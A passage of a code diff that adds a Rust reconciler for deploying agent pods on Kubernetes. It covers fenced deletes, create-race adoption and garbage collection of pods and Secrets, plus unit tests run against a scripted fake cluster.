recorded_fingerprint_matches_a_fresh_computation() { + let cfg = provider_config(); + let keys = ["BUZZ_RELAY_URL".to_string(), "GOOSE_MODE".to_string()]; + let fp = intent_template(&cfg, keys.clone()).fingerprint(); + let pod = build_pod(&identity(), &cfg, "gen-a", &fp); + let recorded = Fingerprint::from_annotation( + &pod.metadata.annotations.as_ref().unwrap()[ANNOTATION_CREATE_INTENT], + ); + assert_eq!(recorded, intent_template(&cfg, keys).fingerprint()); + } + + /// Two attempts differing only in generation must record the *same* + /// fingerprint, or the divergence discriminator fires on every deploy and + /// the never-started row deletes healthy pending pods. + #[test] + fn generation_does_not_change_the_recorded_fingerprint() { + let cfg = provider_config(); + let keys = ["BUZZ_RELAY_URL".to_string()]; + let a = intent_template(&cfg, keys.clone()).fingerprint(); + let b = intent_template(&cfg, keys).fingerprint(); + let id = identity(); + let pod_a = build_pod(&id, &cfg, "gen-1", &a); + let pod_b = build_pod(&id, &cfg, "gen-2", &b); + let read = + |p: &Pod| p.metadata.annotations.as_ref().unwrap()[ANNOTATION_CREATE_INTENT].clone(); + assert_eq!(read(&pod_a), read(&pod_b)); + // ...while the Secret they reference differs. + let secret_of = |p: &Pod| { + spec(p).containers[0].env_from.as_ref().unwrap()[0] + .secret_ref + .as_ref() + .unwrap() + .name + .clone() + }; + assert_ne!(secret_of(&pod_a), secret_of(&pod_b)); + } +} diff --git a/crates/buzz-backend-kubernetes/src/reconcile.rs b/crates/buzz-backend-kubernetes/src/reconcile.rs new file mode 100644 index 0000000000..df2f99789f --- /dev/null +++ b/crates/buzz-backend-kubernetes/src/reconcile.rs @@ -0,0 +1,1585 @@ +//! The deploy loop: executes [`crate::classify`]'s actions against a substrate +//! and re-enters (spec §Deploy State Machine). +//! +//! The substrate is a trait so the conformance tests drive this exact +//! reconciler — the shipped code path, not a test-only reimplementation — with +//! a fake cluster and a fake clock. +//! +//! Two shapes are worth naming up front, because they are what keep the loop +//! terminating: +//! +//! * **Success means the harness container started** (`:696-699`). There is no +//! "deployed but not confirmed" success: `deploy` returns an `agent_id` or an +//! in-band error carrying the latest condition. The wire has no third form. +//! * **A create-conflict loser never repairs.** It verifies the winner, drops +//! its own Secret, and *observes* until the winner starts. Applying the +//! divergence row to the pod that just beat it is exactly the ping-pong the +//! spec forbids (`:845-850`), and the escape it names is the *next* deploy, +//! not this one. + +use crate::classify::{self, Action, Fence, Startup, VerifiedPod}; +use crate::config::ProviderConfig; +use crate::gc; +use crate::naming::AgentIdentity; +use crate::observe::{self, StartupObservation}; +use chrono::{DateTime, Utc}; +use k8s_openapi::api::core::v1::{Pod, Secret}; +use std::collections::BTreeMap; +use std::time::Duration; + +/// Outcome of a create against the deterministic pod name. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum CreateOutcome { + Created, + /// 409 with `Status.reason: AlreadyExists` — a concurrent attempt won. + /// Discriminated on the typed reason, never on the HTTP code alone: 409 is + /// also `Conflict`, which means a failed precondition (`:780-794`). + AlreadyExists, +} + +/// Outcome of a fenced delete. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum DeleteOutcome { + Accepted, + /// Already gone. Delete-not-found is success (`:842`). + NotFound, + /// 409 with `Status.reason: Conflict` — the object changed since the + /// observation that authorized this delete. Neither an error nor + /// permission to retry: re-enter and classify what exists now + /// (`:775-777`). + PreconditionFailed, +} + +/// The cluster operations the reconciler needs. Everything here is I/O; +/// everything that decides is pure and lives in `classify`/`gc`. +#[allow(async_fn_in_trait)] +pub trait Substrate { + /// Create the namespace if absent. On RBAC denial the error MUST name the + /// literal `kubectl create namespace ` command and MUST NOT fall + /// back to `default` (`:1002-1005`). + async fn ensure_namespace(&self, namespace: &str) -> Result<(), String>; + + /// Most-recent read of the pods matching this identity's selector, plus + /// the apiserver's clock from the same call's HTTP `Date` header. `None` + /// clock means the header was absent or unparseable, which makes the + /// orphan-Secret sweep skip (`:1321-1335`). + async fn list_pods(&self, selector: &str) -> Result<(Vec, Option>), String>; + + async fn list_secrets(&self, selector: &str) -> Result, String>; + + /// Most-recent existence check (`resourceVersion` explicitly unset, not + /// `"0"`): the classifier treats a confirmed absence as proof, so a + /// possibly-stale cache read would be proof of nothing (`:761-769`). + async fn secret_exists(&self, name: &str) -> Result; + + async fn create_secret(&self, secret: &Secret) -> Result<(), String>; + + async fn create_pod(&self, pod: &Pod) -> Result; + + /// Compare-and-delete against the fence from the authorizing observation. + /// Uses the object's own grace period — never `grace_period_seconds: 0`, + /// which is a force-kill that discards the declared 60s shutdown budget + /// (`:1185-1189`). + async fn delete_pod(&self, name: &str, fence: &Fence) -> Result; + + /// Best-effort: the Secret may already be gone, which is success. + async fn delete_secret(&self, name: &str) -> Result<(), String>; + + /// Read one pod by name, most-recent. `None` is a confirmed absence. + async fn get_pod(&self, name: &str) -> Result, String>; + + async fn sleep(&self, duration: Duration); + + /// Monotonic elapsed time since the operation began. Fake-clock driven in + /// tests; the deadline must not depend on wall-clock adjustments. + fn elapsed(&self) -> Duration; +} + +/// Interval between reconciler polls. Short enough that a fast start is +/// reported promptly, long enough not to hammer the apiserver for 600s. +const POLL_INTERVAL: Duration = Duration::from_secs(2); + +/// The deploy operation deadline (spec §Deploy: `timeout: 600s`). +const DEADLINE: Duration = Duration::from_secs(gc::OPERATION_DEADLINE_SECS as u64); + +/// Settle a pod's startup state, performing the one most-recent Secret read +/// that `CreateContainerConfigError` requires. +async fn settle(substrate: &impl Substrate, pod: &Pod) -> Result { + Ok(match observe::decode_startup(pod) { + StartupObservation::Resolved(startup) => startup, + StartupObservation::ConfigErrorPendingSecretCheck { secret_name } => { + // A confirmed absence is proof; anything else stays recoverable, + // because the kubelet's reason string alone is not evidence. + if substrate.secret_exists(&secret_name).await? { + Startup::NeverStartedRecoverable + } else { + Startup::NeverStartedProvablyBroken + } + } + }) +} + +/// Observe the single pod owned by this identity, verified. +/// +/// `Ok(None)` conflates "absent" with "present but not ours" on purpose *here* +/// — both mean the classifier has nothing it may act on. The create path +/// separates them, because only there is the difference actionable. +async fn observe_pod( + substrate: &impl Substrate, + identity: &AgentIdentity, +) -> Result, String> { + let Some(pod) = substrate.get_pod(&identity.pod_name()).await? else { + return Ok(None); + }; + let startup = settle(substrate, &pod).await?; + Ok(observe::verify(&pod, identity, startup)) +} + +/// The latest condition to report, read fresh at the moment of reporting. +/// +/// Reading it here rather than threading it through every loop iteration is +/// what "the *latest* redacted condition" (`:689`) asks for, and it costs a +/// read only on the paths that are already failing. +async fn latest_condition(substrate: &impl Substrate, identity: &AgentIdentity) -> String { + match substrate.get_pod(&identity.pod_name()).await { + Ok(Some(pod)) => observe::condition(&pod) + .unwrap_or_else(|| "no condition reported by the cluster".to_string()), + Ok(None) => "the pod no longer exists".to_string(), + Err(e) => format!("the pod's condition could not be read: {e}"), + } +} + +/// Preflight GC (§K8s GC). Failures are logged and swallowed: GC is hygiene, +/// and a deploy must not fail because a stale object could not be listed or +/// removed. A denial that actually blocks this deploy resurfaces at create, +/// where the message names the operation the user was denied. +async fn preflight_gc(substrate: &impl Substrate, identity: &AgentIdentity) { + if let Err(e) = try_preflight_gc(substrate, identity).await { + eprintln!("gc: preflight pass skipped: {e}"); + } +} + +async fn try_preflight_gc( + substrate: &impl Substrate, + identity: &AgentIdentity, +) -> Result<(), String> { + let selector = identity.selector(); + let (pods, server_now) = substrate.list_pods(&selector).await?; + let secrets = substrate.list_secrets(&selector).await?; + + let mut terminated: Vec = Vec::new(); + for pod in &pods { + if matches!(settle(substrate, pod).await?, Startup::Terminated) { + if let Some(name) = pod.metadata.name.clone() { + terminated.push(name); + } + } + } + + let plan = gc::plan( + identity, + &pods, + &secrets, + |pod| { + pod.metadata + .name + .as_deref() + .map(|n| terminated.iter().any(|t| t == n)) + .unwrap_or(false) + }, + server_now, + ); + + for name in &plan.pods { + // Re-read to fence the delete against the object we just observed; a + // pod that changed since the list is simply skipped this pass. + let Some(pod) = substrate.get_pod(name).await? else { + continue; + }; + let (Some(uid), Some(rv)) = ( + pod.metadata.uid.clone(), + pod.metadata.resource_version.clone(), + ) else { + continue; + }; + if !matches!(settle(substrate, &pod).await?, Startup::Terminated) { + continue; + } + let fence = Fence { + uid, + resource_version: rv, + }; + if let Err(e) = substrate.delete_pod(name, &fence).await { + eprintln!("gc: could not delete terminated pod {name}: {e}"); + } + } + for name in &plan.secrets { + if let Err(e) = substrate.delete_secret(name).await { + eprintln!("gc: could not delete secret {name}: {e}"); + } + } + Ok(()) +} + +/// Wait for a pod to actually disappear. +/// +/// Mandatory before recreating: `DELETE` returns success while the object +/// still exists, and the deterministic name stays taken for the whole grace +/// period (`:1177-1195`). +async fn await_disappearance(substrate: &impl Substrate, name: &str) -> Result<(), String> { + while substrate.elapsed() < DEADLINE { + if substrate.get_pod(name).await?.is_none() { + return Ok(()); + } + substrate.sleep(POLL_INTERVAL).await; + } + Err(format!( + "timed out after {}s waiting for {name} to finish terminating", + DEADLINE.as_secs() + )) +} + +/// Is `secret` referenced by any pod that currently exists under this +/// identity's selector? +/// +/// Protection deliberately spans *all* our pods, not just the winner: an +/// `envFrom` reference from a pod still pulling its image is exactly as +/// load-bearing as one from a running pod (`:1261-1264`). +async fn secret_is_referenced( + substrate: &impl Substrate, + identity: &AgentIdentity, + secret: &str, +) -> Result { + let (pods, _) = substrate.list_pods(&identity.selector()).await?; + Ok(pods + .iter() + .filter_map(observe::referenced_secret) + .any(|name| name == secret)) +} + +/// Drop this attempt's own Secret once nothing references it. +/// +/// Only ever called with a name this process generated, and gated on the +/// reference check: "never the winner's, never any Secret referenced by an +/// existing pod" (`:1259-1264`). Failure is logged, not fatal — a leaked +/// Secret is collected by the age-gated sweep. +async fn drop_own_secret(substrate: &impl Substrate, identity: &AgentIdentity, secret: &str) { + match secret_is_referenced(substrate, identity, secret).await { + Ok(false) => { + if let Err(e) = substrate.delete_secret(secret).await { + eprintln!("could not clean up own unreferenced secret {secret}: {e}"); + } + } + Ok(true) => {} + Err(e) => eprintln!("could not check whether {secret} is still referenced: {e}"), + } +} + +/// Lost the create race: adopt the elected winner. +/// +/// Observe-only by construction — this function has no delete edge for the +/// pod. A winner that is terminated or provably broken is reported, not +/// repaired; the spec's escape is "a *subsequent* deploy that walks in and +/// observes that never-started divergent winner replaces it normally" +/// (`:849-850`). +async fn adopt_winner( + substrate: &impl Substrate, + identity: &AgentIdentity, + own_secret: &str, +) -> Result { + let name = identity.pod_name(); + + // Verify before adopting. A pod under our deterministic name that fails + // the marker/annotation check is not ours to adopt, wait for, or touch — + // and it will never become ours, so this is terminal rather than a retry. + match substrate.get_pod(&name).await? { + None => {} + Some(pod) => { + let startup = settle(substrate, &pod).await?; + if observe::verify(&pod, identity, startup).is_none() { + drop_own_secret(substrate, identity, own_secret).await; + return Err(format!( + "a pod named {name} already exists in this namespace but is not \ + managed by this provider for this agent (it lacks the management \ + marker or carries a different agent identity). Remove it, or \ + deploy this agent to a different namespace." + )); + } + } + } + + drop_own_secret(substrate, identity, own_secret).await; + + // Then wait for the winner exactly as we would wait for our own pod: + // success still means the harness container started. + loop { + if substrate.elapsed() >= DEADLINE { + return Err(format!( + "startup not confirmed within {}s for {name} (another deploy of this \ + agent created it): {}", + DEADLINE.as_secs(), + latest_condition(substrate, identity).await + )); + } + match observe_pod(substrate, identity).await? { + Some(pod) if matches!(pod.startup, Startup::Started) => return Ok(pod.name), + Some(pod) if pod.deletion_marked => { + return Err(format!( + "{name} was created by another deploy of this agent and is already \ + being deleted; try again" + )) + } + Some(pod) + if matches!( + pod.startup, + Startup::Terminated | Startup::NeverStartedProvablyBroken + ) => + { + return Err(format!( + "{name} was created by another deploy of this agent and did not \ + start: {}", + latest_condition(substrate, identity).await + )) + } + // Gone again, or still coming up: keep observing under this + // operation's deadline. + _ => substrate.sleep(POLL_INTERVAL).await, + } + } +} + +/// Run the deploy state machine to a terminal outcome: the started pod's name, +/// or an in-band error carrying the latest condition. +pub async fn deploy( + substrate: &impl Substrate, + identity: &AgentIdentity, + cfg: &ProviderConfig, + env: BTreeMap, +) -> Result { + substrate.ensure_namespace(&cfg.namespace).await?; + preflight_gc(substrate, identity).await; + + let desired = crate::pod::intent_template(cfg, env.keys().cloned()).fingerprint(); + + // Has THIS call created a pod? Set once its create lands. The replacement + // rows below are for residue from a previous life; once this call has made + // its own attempt, a replace-classification means that attempt failed — + // and startup verification is part of create, so the failure is reported + // in-band rather than retried. Without this bound a deterministic startup + // failure (the harness starts, rejects its configuration, exits) is + // delete-recreated every poll for the whole deadline, minting an immutable + // Secret per cycle — measured live at 107 Secrets in one 600s call, every + // one younger than the orphan sweep's age gate. + let mut created_this_call = false; + + loop { + if substrate.elapsed() >= DEADLINE { + return Err(format!( + "startup not confirmed within {}s for {}: {}", + DEADLINE.as_secs(), + identity.pod_name(), + latest_condition(substrate, identity).await + )); + } + + let observed = observe_pod(substrate, identity).await?; + match classify::classify(observed.as_ref(), &desired) { + // The only success edge: the harness container is running. + Action::NoOp { agent_id } => return Ok(agent_id), + + // Self-healing states. Never delete, on this call or any later one + // — what replaces a never-started pod is a config change, never a + // deadline (`:717-729`). + Action::Observe { .. } => substrate.sleep(POLL_INTERVAL).await, + + // A pull that will not self-heal: report now rather than spend the + // remaining deadline on it. Still no delete authority. + Action::Report { name, failure } => { + return Err(format!( + "{name} did not start: {}", + observe::pull_failure_message(failure, cfg.image.as_str()) + )) + } + + Action::AwaitDisappearance { name } => await_disappearance(substrate, &name).await?, + + Action::Delete { name, fence } => { + // This call already made its own attempt, and that attempt is + // what the classification wants replaced: it terminated (the + // deterministic startup failure — the harness starts, rejects + // its configuration, exits) or was proven broken. Replacing it + // here retries the identical configuration against the same + // cluster: a hot delete/mint/create cycle every poll for the + // whole deadline, an immutable Secret per cycle — measured + // live at 107 Secrets in one 600s call, all younger than the + // orphan sweep's age gate. Report in-band instead. The residue + // is deliberate: the next Start's preflight GC collects the + // terminated pod and its referenced Secret together, so retry + // is gated on fresh owner intent and litter stays bounded at + // one pod + one Secret per press. + if created_this_call { + return Err(format!( + "{name} was created by this deploy and did not stay \ + running: {}. Not retrying in this call — an immediate \ + exit recurs until its cause is fixed. Check the \ + agent's configuration and press Start to try again.", + latest_condition(substrate, identity).await + )); + } + match substrate.delete_pod(&name, &fence).await? { + // Accepted or already gone: both need the disappearance + // poll before the name is free again. + DeleteOutcome::Accepted | DeleteOutcome::NotFound => { + await_disappearance(substrate, &name).await? + } + // The object changed since the observation that authorized + // this delete. Discard the action and re-classify — never + // retry with a fresher fence, which would delete something + // we never examined. Sleep before re-entering: the losing + // race is against another writer, and re-reading at full + // speed is a busy-retry with no better odds than a paced + // one. + DeleteOutcome::PreconditionFailed => substrate.sleep(POLL_INTERVAL).await, + } + } + + Action::Create => { + let generation = crate::naming::new_generation(); + let secret_name = identity.secret_name(&generation); + + // The generation is minted *per attempt*, and it is two things + // at once: the Secret's name suffix and the lifecycle + // correlator the harness reports. `build_env` stamped the + // caller's generation, so on any attempt after the first the + // two would name different generations — pod logs correlating + // to a Secret that is not the one mounted. Restamp so there is + // exactly one generation per attempt (§K8s Secrets). + let mut env = env.clone(); + env.insert(crate::env::START_NONCE_KEY.to_string(), generation.clone()); + + // Secret first: the pod's spec references this exact name, so + // payload and Secret are atomic at the pod-spec boundary. + let secret = crate::pod::build_secret(identity, &cfg.namespace, &generation, env); + substrate.create_secret(&secret).await?; + + let pod = crate::pod::build_pod(identity, cfg, &generation, &desired); + match substrate.create_pod(&pod).await? { + // Re-enter rather than wait inline: the next iteration + // observes what we just created and runs the same rows + // every other state runs through. One loop, one table. + // + // Sleep first. A just-created pod cannot already be + // started, so the immediate observation has no outcome but + // "still coming up" — and if it ever came back + // unverifiable, re-entering without advancing the clock + // would hot-spin creates against the apiserver for the + // whole deadline. + CreateOutcome::Created => { + created_this_call = true; + substrate.sleep(POLL_INTERVAL).await + } + CreateOutcome::AlreadyExists => { + return adopt_winner(substrate, identity, &secret_name).await + } + } + } + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::config::Resources; + use crate::naming::{ANNOTATION_CREATE_INTENT, ANNOTATION_PUBKEY_FULL, LABEL_MANAGED_BY}; + use k8s_openapi::api::core::v1::{ + ContainerState, ContainerStateRunning, ContainerStateTerminated, ContainerStateWaiting, + ContainerStatus, PodStatus, + }; + use k8s_openapi::apimachinery::pkg::apis::meta::v1::Time; + use std::cell::RefCell; + use std::future::Future; + use std::pin::pin; + use std::task::{Context, Poll, RawWaker, RawWakerVTable, Waker}; + + /// Mutates the pod map after a poll, so a test can script a pod that + /// starts (or vanishes) partway through an observation loop. + type PollHook = Box)>; + + /// A scripted cluster. Single-threaded on purpose: the reconciler is one + /// process per operation, and `RefCell` keeps the assertions readable. + /// + /// This drives the *shipped* `deploy` — the point of the `Substrate` seam. + /// Every fake here answers with real `k8s_openapi` objects, so the decode + /// and verification layers under test are the ones that run in a cluster. + #[derive(Default)] + struct Fake { + pods: RefCell>, + secrets: RefCell>, + /// Server clock for the GC age gate; `None` models a missing `Date`. + server_now: Option>, + /// Elapsed time, advanced only by `sleep` — a fake clock, so a 600s + /// deadline test runs instantly and cannot flake on a slow machine. + elapsed: RefCell, + /// Queued create outcomes; the default is `Created`. + create_outcomes: RefCell>, + /// Installed when a create loses the race. A winner must be *absent* + /// at the observation that decides to create and *present* by the time + /// the create lands — pre-seeding it instead makes the loop no-op + /// before it ever reaches the create edge. + winner: RefCell>, + /// Every Secret ever created, retained across deletion. + created_secrets: RefCell>, + /// Queued delete outcomes; the default is `Accepted`. + delete_outcomes: RefCell>, + /// Every mutating call, in order — the anti-mutation assertions read + /// this rather than guessing from final state. + calls: RefCell>, + /// Applied to the pod map after each poll, so a test can script a pod + /// that starts (or vanishes) partway through an observation loop. + on_poll: RefCell>, + /// `ensure_namespace` fails with this, if set. + namespace_error: Option, + } + + impl Fake { + fn with_pod(self, pod: Pod) -> Self { + self.pods + .borrow_mut() + .insert(pod.metadata.name.clone().unwrap(), pod); + self + } + fn log(&self, entry: impl Into) { + self.calls.borrow_mut().push(entry.into()); + } + fn mutations(&self) -> Vec { + self.calls.borrow().clone() + } + } + + impl Substrate for Fake { + async fn ensure_namespace(&self, namespace: &str) -> Result<(), String> { + match &self.namespace_error { + Some(e) => Err(e.clone()), + None => { + self.log(format!("ensure_namespace {namespace}")); + Ok(()) + } + } + } + + async fn list_pods( + &self, + _selector: &str, + ) -> Result<(Vec, Option>), String> { + Ok(( + self.pods.borrow().values().cloned().collect(), + self.server_now, + )) + } + + async fn list_secrets(&self, _selector: &str) -> Result, String> { + Ok(self.secrets.borrow().clone()) + } + + async fn secret_exists(&self, name: &str) -> Result { + Ok(self + .secrets + .borrow() + .iter() + .any(|s| s.metadata.name.as_deref() == Some(name))) + } + + async fn create_secret(&self, secret: &Secret) -> Result<(), String> { + let name = secret.metadata.name.clone().unwrap(); + self.log(format!("create_secret {name}")); + self.secrets.borrow_mut().push(secret.clone()); + // Kept even after the Secret is deleted: assertions about what an + // attempt *wrote* must not be silently vacuous once cleanup runs. + self.created_secrets.borrow_mut().push(secret.clone()); + Ok(()) + } + + async fn create_pod(&self, pod: &Pod) -> Result { + let name = pod.metadata.name.clone().unwrap(); + self.log(format!("create_pod {name}")); + let outcome = if self.create_outcomes.borrow().is_empty() { + CreateOutcome::Created + } else { + self.create_outcomes.borrow_mut().remove(0) + }; + if outcome == CreateOutcome::Created { + // The apiserver stamps these on admission; a builder never + // carries them. Without them the pod fails `verify`'s fence + // extraction and the loop can never see what it just created. + let mut pod = pod.clone(); + pod.metadata.uid = Some(format!("uid-created-{}", self.calls.borrow().len())); + pod.metadata.resource_version = Some("1".into()); + self.pods.borrow_mut().insert(name, pod); + } else if let Some(winner) = self.winner.borrow_mut().take() { + // The concurrent attempt's pod becomes visible exactly when our + // create is rejected — the ordering a real race produces. + self.pods.borrow_mut().insert(name, winner); + } + Ok(outcome) + } + + async fn delete_pod(&self, name: &str, fence: &Fence) -> Result { + self.log(format!( + "delete_pod {name} uid={} rv={}", + fence.uid, fence.resource_version + )); + let outcome = if self.delete_outcomes.borrow().is_empty() { + DeleteOutcome::Accepted + } else { + self.delete_outcomes.borrow_mut().remove(0) + }; + if outcome == DeleteOutcome::Accepted { + self.pods.borrow_mut().remove(name); + } + Ok(outcome) + } + + async fn delete_secret(&self, name: &str) -> Result<(), String> { + self.log(format!("delete_secret {name}")); + self.secrets + .borrow_mut() + .retain(|s| s.metadata.name.as_deref() != Some(name)); + Ok(()) + } + + async fn get_pod(&self, name: &str) -> Result, String> { + Ok(self.pods.borrow().get(name).cloned()) + } + + async fn sleep(&self, duration: Duration) { + *self.elapsed.borrow_mut() += duration; + let hooks = self.on_poll.borrow(); + let mut pods = self.pods.borrow_mut(); + for hook in hooks.iter() { + hook(&mut pods); + } + } + + fn elapsed(&self) -> Duration { + *self.elapsed.borrow() + } + } + + fn identity() -> AgentIdentity { + use nostr::nips::nip19::ToBech32; + let keys = nostr::Keys::generate(); + AgentIdentity::from_nsec(&keys.secret_key().to_bech32().unwrap()).unwrap() + } + + fn config() -> ProviderConfig { + ProviderConfig { + context: None, + namespace: "buzz-agents-test".into(), + image: crate::image::parse(&format!( + "ghcr.io/block/buzz-sprig@sha256:{}", + "a".repeat(64) + )) + .unwrap(), + resources: Resources::default(), + inactivity_seconds: Some(7200), + service_account: None, + } + } + + fn env() -> BTreeMap { + [("BUZZ_RELAY_URL".to_string(), "wss://r".to_string())] + .into_iter() + .collect() + } + + /// A pod exactly as this provider would have created it — same builder the + /// reconciler uses, so verification is exercised rather than bypassed. + fn our_pod(id: &AgentIdentity, cfg: &ProviderConfig, state: Option) -> Pod { + let fp = crate::pod::intent_template(cfg, env().keys().cloned()).fingerprint(); + let mut pod = crate::pod::build_pod(id, cfg, "gen-existing", &fp); + pod.metadata.uid = Some("uid-1".into()); + pod.metadata.resource_version = Some("100".into()); + pod.status = Some(PodStatus { + phase: Some("Running".into()), + container_statuses: state.map(|s| { + vec![ContainerStatus { + name: crate::observe::CONTAINER_NAME.into(), + state: Some(s), + ..Default::default() + }] + }), + ..Default::default() + }); + pod + } + + fn running() -> ContainerState { + ContainerState { + running: Some(ContainerStateRunning::default()), + ..Default::default() + } + } + + fn terminated() -> ContainerState { + ContainerState { + terminated: Some(ContainerStateTerminated::default()), + ..Default::default() + } + } + + fn waiting(reason: &str) -> ContainerState { + ContainerState { + waiting: Some(ContainerStateWaiting { + reason: Some(reason.into()), + message: None, + }), + ..Default::default() + } + } + + fn run(fake: &Fake, id: &AgentIdentity, cfg: &ProviderConfig) -> Result { + block_on(deploy(fake, id, cfg, env())) + } + + /// Minimal executor: the fake never yields to a reactor (no timers, no + /// I/O — `sleep` just advances a counter), so polling to completion is + /// sufficient and avoids pulling a runtime into the unit job. + fn block_on(fut: impl Future) -> T { + fn noop_waker() -> Waker { + fn nop(_: *const ()) {} + fn clone(_: *const ()) -> RawWaker { + RawWaker::new(std::ptr::null(), &VTABLE) + } + static VTABLE: RawWakerVTable = RawWakerVTable::new(clone, nop, nop, nop); + unsafe { Waker::from_raw(RawWaker::new(std::ptr::null(), &VTABLE)) } + } + + let waker = noop_waker(); + let mut cx = Context::from_waker(&waker); + let mut fut = pin!(fut); + match fut.as_mut().poll(&mut cx) { + Poll::Ready(v) => v, + Poll::Pending => panic!("fake substrate future parked — it has no reactor"), + } + } + + // ---- the state machine's rows, end to end ------------------------------- + + /// First deploy: Secret before pod, and the returned id is the pod name. + #[test] + fn creates_secret_then_pod_and_returns_the_pod_name() { + let id = identity(); + let cfg = config(); + let fake = Fake::default(); + fake.on_poll.borrow_mut().push({ + let name = id.pod_name(); + Box::new(move |pods: &mut BTreeMap| { + if let Some(pod) = pods.get_mut(&name) { + pod.status = Some(PodStatus { + phase: Some("Running".into()), + container_statuses: Some(vec![ContainerStatus { + name: crate::observe::CONTAINER_NAME.into(), + state: Some(running()), + ..Default::default() + }]), + ..Default::default() + }); + } + }) + }); + + assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name()); + + let calls = fake.mutations(); + let secret_at = calls + .iter() + .position(|c| c.starts_with("create_secret")) + .unwrap(); + let pod_at = calls + .iter() + .position(|c| c.starts_with("create_pod")) + .unwrap(); + assert!( + secret_at < pod_at, + "pod created before its Secret: {calls:?}" + ); + } + + /// The strict no-op row: a started pod returns its id having mutated + /// nothing at all. Asserted on the *call log*, not on final state — a + /// delete-then-recreate would leave identical final state. + #[test] + fn started_pod_is_a_zero_mutation_no_op() { + let id = identity(); + let cfg = config(); + let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(running()))); + + assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name()); + assert_eq!( + fake.mutations(), + [format!("ensure_namespace {}", cfg.namespace)], + "the no-op row mutated something" + ); + } + + /// ...including when the desired intent has diverged. Edits reach a + /// started pod only via the next generation (`:861-865`). + #[test] + fn started_pod_no_ops_under_divergent_intent() { + let id = identity(); + let cfg = config(); + let mut pod = our_pod(&id, &cfg, Some(running())); + pod.metadata.annotations.as_mut().unwrap().insert( + ANNOTATION_CREATE_INTENT.to_string(), + "stale-fingerprint".into(), + ); + let fake = Fake::default().with_pod(pod); + + assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name()); + assert!( + !fake.mutations().iter().any(|c| c.starts_with("delete_pod")), + "divergence deleted a started pod" + ); + } + + /// Terminated → fenced delete → disappearance → recreate. The normal + /// restart path, and the fence must carry the observed uid/rv. + #[test] + fn terminated_pod_is_replaced_with_a_fenced_delete() { + let id = identity(); + let cfg = config(); + let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(terminated()))); + fake.on_poll.borrow_mut().push({ + let name = id.pod_name(); + Box::new(move |pods: &mut BTreeMap| { + if let Some(pod) = pods.get_mut(&name) { + if pod + .status + .as_ref() + .and_then(|s| s.container_statuses.as_ref()) + .is_none() + { + pod.status = Some(PodStatus { + phase: Some("Running".into()), + container_statuses: Some(vec![ContainerStatus { + name: crate::observe::CONTAINER_NAME.into(), + state: Some(running()), + ..Default::default() + }]), + ..Default::default() + }); + } + } + }) + }); + + assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name()); + let calls = fake.mutations(); + assert!( + calls + .iter() + .any(|c| c == &format!("delete_pod {} uid=uid-1 rv=100", id.pod_name())), + "delete was not fenced to the observed uid+resourceVersion: {calls:?}" + ); + assert!(calls.iter().any(|c| c.starts_with("create_pod"))); + } + + /// A failed precondition is neither an error nor permission to retry the + /// delete: re-enter and classify what exists now (`:775-777`). Here the + /// object has become a *started* pod, so the correct outcome is the no-op + /// row — never a second delete with a fresher fence. + #[test] + fn precondition_failure_reclassifies_instead_of_retrying() { + let id = identity(); + let cfg = config(); + let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(terminated()))); + fake.delete_outcomes + .borrow_mut() + .push(DeleteOutcome::PreconditionFailed); + // The writer we lost the race to: between our observation and our + // delete, the pod under this name became a *started* one with a new + // resourceVersion. Installed on the poll that follows the failed + // precondition, so the sequence is observe → delete → lose → re-observe. + fake.on_poll.borrow_mut().push({ + let name = id.pod_name(); + let started = { + let mut p = our_pod(&id, &cfg, Some(running())); + p.metadata.resource_version = Some("200".into()); + p + }; + Box::new(move |pods: &mut BTreeMap| { + pods.insert(name.clone(), started.clone()); + }) + }); + + assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name()); + let deletes: Vec<_> = fake + .mutations() + .into_iter() + .filter(|c| c.starts_with("delete_pod")) + .collect(); + // Two call sites legitimately target a terminated pod: preflight GC's + // sweep (which is the one that loses the precondition here) and the + // state machine's terminated row. Both are fenced on their own + // observation. What must never happen is a *third* — a retry of the + // failed delete — so the invariant is the fence, not the count: every + // delete carries rv=100, the version we observed. A retry would carry + // the racing writer's rv=200. + assert_eq!(deletes.len(), 2, "unexpected delete traffic: {deletes:?}"); + assert!( + deletes.iter().all(|d| d.contains("rv=100")), + "retried with a fresher fence: {deletes:?}" + ); + } + + /// The anti-livelock rule, at the loop level: a recoverable pod whose + /// intent matches is observed until the deadline and **never** deleted — + /// the case that would otherwise reset the pod age Cluster Autoscaler + /// keys on (`:689`). + #[test] + fn recoverable_pod_with_matching_intent_is_never_deleted() { + let id = identity(); + let cfg = config(); + let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(waiting("Unschedulable")))); + + let err = run(&fake, &id, &cfg).unwrap_err(); + assert!(err.contains("startup not confirmed"), "got: {err}"); + assert!( + !fake.mutations().iter().any(|c| c.starts_with("delete_pod")), + "deleted a recoverable pod: {:?}", + fake.mutations() + ); + assert!(fake.elapsed() >= DEADLINE, "gave up before the deadline"); + } + + /// The same pod, provisioned late: the observation loop must *succeed* + /// when the autoscaler eventually lands the node, not merely avoid + /// deleting. + #[test] + fn recoverable_pod_that_starts_late_succeeds() { + let id = identity(); + let cfg = config(); + let fake = Fake::default().with_pod(our_pod(&id, &cfg, Some(waiting("Unschedulable")))); + let polls = RefCell::new(0); + fake.on_poll.borrow_mut().push({ + let name = id.pod_name(); + Box::new(move |pods: &mut BTreeMap| { + *polls.borrow_mut() += 1; + if *polls.borrow() >= 5 { + if let Some(pod) = pods.get_mut(&name) { + pod.status.as_mut().unwrap().container_statuses = + Some(vec![ContainerStatus { + name: crate::observe::CONTAINER_NAME.into(), + state: Some(running()), + ..Default::default() + }]); + } + } + }) + }); + + assert_eq!(run(&fake, &id, &cfg).unwrap(), id.pod_name()); + assert!(fake.elapsed() < DEADLINE); + } + + /// A permanent pull failure reports immediately rather than burning the + /// deadline — and still never deletes. + #[test] + fn permanent_pull_failure_reports_without_deleting() { + let id = identity(); + let cfg = config(); + let mut pod = our_pod(&id, &cfg, None); + pod.status = Some(PodStatus { + phase: Some("Pending".into()), + 